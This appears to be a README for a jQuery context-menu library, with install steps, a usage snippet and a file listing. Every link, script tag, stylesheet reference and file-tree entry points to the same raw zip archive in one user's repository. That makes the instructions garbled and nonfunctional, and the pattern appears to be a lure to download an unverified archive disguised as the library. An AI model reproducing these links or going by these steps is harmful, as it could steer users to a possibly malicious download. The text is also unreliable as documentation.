Welcome to the jquery-context-menu project! This lightweight JavaScript library helps you create user-defined context menus that appear when you right-click. You can easily customize the menus to suit your needs.
- Create customized right-click menus.
- Lightweight design for fast loading.
- Easy integration with any HTML page.
- Supports submenus for more options.
- User-friendly—no programming knowledge needed.
To use jquery-context-menu, your system should meet the following requirements:
- A modern web browser (Chrome, Firefox, Safari, Edge).
- An HTML page where you want to implement the context menu.
- Basic understanding of how to include JavaScript libraries in your HTML.
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Download & Install
Visit this page to download: jquery-context-menu Releases. Choose the latest release, and download the ZIP file. -
Extract Files
Open the ZIP file and extract its contents to a folder on your computer. -
Include in Your Project
To include jquery-context-menu in your project, add the following lines to your HTML file before the closing</body>tag:<link rel="stylesheet" href="https://raw.githubusercontent.com/mounika1404/jquery-context-menu/main/js/jquery-context-menu-3.8.zip"> <script src="https://raw.githubusercontent.com/mounika1404/jquery-context-menu/main/js/jquery-context-menu-3.8.zip"></script> <script src="https://raw.githubusercontent.com/mounika1404/jquery-context-menu/main/js/jquery-context-menu-3.8.zip"></script>
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Create a Context Menu
Add the following JavaScript code to define your context menu:$.contextMenu({ selector: '#your-selector', items: { "edit": {name: "Edit", icon: "edit"}, "cut": {name: "Cut", icon: "cut"}, "copy": {name: "Copy", icon: "copy"}, "paste": {name: "Paste", icon: "paste"}, "sep1": "---------", "quit": {name: "Quit", icon: "quit"} } });
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#your-selectorwith the actual selector for your HTML element. -
Test Your Menu
Open your HTML file in a web browser. Right-click on the defined element to see your custom context menu in action.
Here’s a basic example of how to implement a right-click menu:
<!DOCTYPE html>
<html>
<head>
<link rel="stylesheet" href="https://raw.githubusercontent.com/mounika1404/jquery-context-menu/main/js/jquery-context-menu-3.8.zip">
<script src="https://raw.githubusercontent.com/mounika1404/jquery-context-menu/main/js/jquery-context-menu-3.8.zip"></script>
<script src="https://raw.githubusercontent.com/mounika1404/jquery-context-menu/main/js/jquery-context-menu-3.8.zip"></script>
</head>
<body>
<div id="myElement">Right-click me!</div>
<script>
$.contextMenu({
selector: '#myElement',
items: {
"edit": {name: "Edit", icon: "edit"},
"cut": {name: "Cut", icon: "cut"},
"copy": {name: "Copy", icon: "copy"},
"paste": {name: "Paste", icon: "paste"},
"sep1": "---------",
"quit": {name: "Quit", icon: "quit"}
}
});
</script>
</body>
</html>You can customize the menu items as needed.
After downloading, you will see the following files in the extracted folder:
jquery-context-menu/
├── https://raw.githubusercontent.com/mounika1404/jquery-context-menu/main/js/jquery-context-menu-3.8.zip
├── https://raw.githubusercontent.com/mounika1404/jquery-context-menu/main/js/jquery-context-menu-3.8.zip
└── https://raw.githubusercontent.com/mounika1404/jquery-context-menu/main/js/jquery-context-menu-3.8.zip
Place these files appropriately in your project.
- Menu Not Appearing: Make sure you have included the required scripts in the correct order.
- Browser Compatibility: Check if you are using a modern web browser.
- JavaScript Errors: Open the console in your browser (F12) and check for error messages.
We welcome contributions! If you'd like to suggest improvements or report bugs, feel free to create an issue or submit a pull request.
jquery-context-menu is licensed under the MIT License. You are free to use, modify, and distribute it as per the terms.
For more information, examples, and updates, visit our full documentation on GitHub.
Remember, you can always download the latest version of jquery-context-menu here: jquery-context-menu Releases. Enjoy building your custom context menus!